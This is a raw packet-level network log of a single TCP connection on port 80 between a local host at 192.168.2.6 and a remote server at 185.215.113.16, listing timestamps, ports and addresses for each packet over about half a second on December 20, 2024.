Dec 20, 2024 17:17:51.821331978 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.821350098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.821361065 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.821371078 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.821377993 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.821382046 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.821394920 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.821408033 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.821425915 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.856746912 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.856811047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.856822968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.856859922 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.856888056 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.857114077 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.857125044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.857183933 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.857342005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.857353926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.857364893 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.857398987 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.857681990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.857712984 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.857727051 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.857767105 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.858071089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.858089924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.858134985 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.858135939 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.858148098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.858174086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.858185053 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.858357906 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.858930111 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.858942032 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.858952045 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.858997107 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.859172106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.859215975 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.859220982 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.859236002 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.859267950 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.859282017 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.859292030 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.859308004 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.859327078 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.860085011 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.860096931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.860114098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.860131979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.860138893 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.860157967 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.860650063 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.860662937 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.860676050 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.860687017 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.860697985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.860708952 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.860723972 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.860734940 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.861335039 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.861347914 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.861357927 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.861370087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.861393929 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.861784935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.861797094 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.861807108 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.861820936 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.861833096 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.861845970 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.861852884 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.861886978 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.862581968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.862596035 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.862612963 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.862624884 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.862637997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.862648010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.862653971 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.862658978 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.862670898 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.862737894 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.863487959 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.863500118 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.863518000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.863528967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.863539934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.863550901 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.863550901 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.863564014 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.863567114 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.863589048 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.917432070 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.917514086 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.917543888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.917556047 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.917583942 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.917877913 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.917891026 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.917902946 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.917915106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.917922974 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.917943001 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.918273926 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.918464899 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.918477058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.918488026 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.918500900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.918509960 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.918514013 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.918524981 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.918543100 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.918565989 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.919192076 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.919203997 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.919215918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.919226885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.919239044 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.919275045 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.919295073 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:51.919708014 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.919722080 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:51.919799089 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.010860920 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.010958910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.010972023 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.011010885 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.011238098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.011250019 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.011260033 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.011384010 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.011588097 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.011600018 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.011873007 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.011876106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.011888027 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.011899948 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.011912107 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.011921883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.011933088 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.011953115 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.012466908 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.012547016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.012559891 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.012569904 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.012582064 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.012589931 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.012593985 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.012607098 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.012613058 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.012631893 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.013322115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.013334990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.013350010 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.013361931 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.013386965 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.013406992 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.013797998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.013809919 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.013822079 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.013833046 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.013849020 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.013870955 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.051803112 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.051824093 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.051837921 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.051855087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.051922083 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.052040100 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.052052975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.052067995 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.052107096 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.052417040 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.052467108 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.052470922 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.052484035 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.052495956 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.052656889 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.052876949 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.052926064 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.053056955 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.053069115 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.053217888 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.053284883 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.053296089 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.053307056 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.053318977 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.053340912 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.053355932 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.053642988 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.053656101 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.053678036 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.053689957 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.053689957 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.053703070 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.053714991 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.053720951 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.053755999 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.054394960 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.054408073 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.054419994 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.054434061 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.054488897 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.054910898 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.054923058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.054936886 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.054949045 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.054960966 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.054966927 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.054991007 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.055541992 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.055555105 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.055567026 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.055579901 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.055592060 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.055633068 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.055645943 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.056196928 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.056210041 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.056221962 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.056227922 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.056240082 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.056253910 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.056262016 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.056293011 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.056936979 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.056951046 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.056962967 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.056974888 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.056992054 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.057018995 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.057457924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.057471037 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.057483912 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.057495117 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.057507038 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.057514906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.057527065 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.057549953 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.058211088 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.058286905 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.058306932 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.058319092 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.058331966 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.058342934 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.058343887 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.058357000 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.058377028 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.059067011 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.059082031 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.059159040 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.109694004 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.109724998 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.109730005 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.109783888 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.109977007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.110002041 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.110009909 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.110016108 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.110023975 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.110038996 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.110061884 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.110085011 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.110578060 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.110593081 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.110639095 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.110713959 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.110760927 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.110775948 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.110831976 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.110846043 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.110893011 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.111320019 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.111331940 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.111342907 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.111355066 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.111397028 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.111397028 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.111752033 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.111763954 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.111777067 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.111788988 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.111829042 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.202879906 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.202971935 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.202985048 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.203020096 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.203274012 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.203285933 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.203296900 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.203308105 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.203334093 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.203357935 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.203705072 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.203716993 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.203727007 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.203738928 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.203753948 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.203783035 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.204200029 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.204227924 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.204238892 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.204262972 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.204279900 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.204540968 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.204552889 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.204562902 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.204596043 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.204910994 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.204922915 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.204933882 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.204945087 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.204958916 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.205003023 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.205388069 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.205399990 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.205416918 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.205427885 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.205436945 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.205439091 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.205450058 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.205456018 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.205461025 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.205476999 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.205492973 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.244148016 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.244162083 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.244173050 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.244227886 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.244422913 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.244435072 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.244471073 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.244659901 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.244671106 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.244721889 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.244889021 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.244952917 CET	49809	80	192.168.2.6	185.215.113.16
Dec 20, 2024 17:17:52.244975090 CET	80	49809	185.215.113.16	192.168.2.6
Dec 20, 2024 17:17:52.244987965 CET	80	49809	185.215.113.16	192.168.2.6
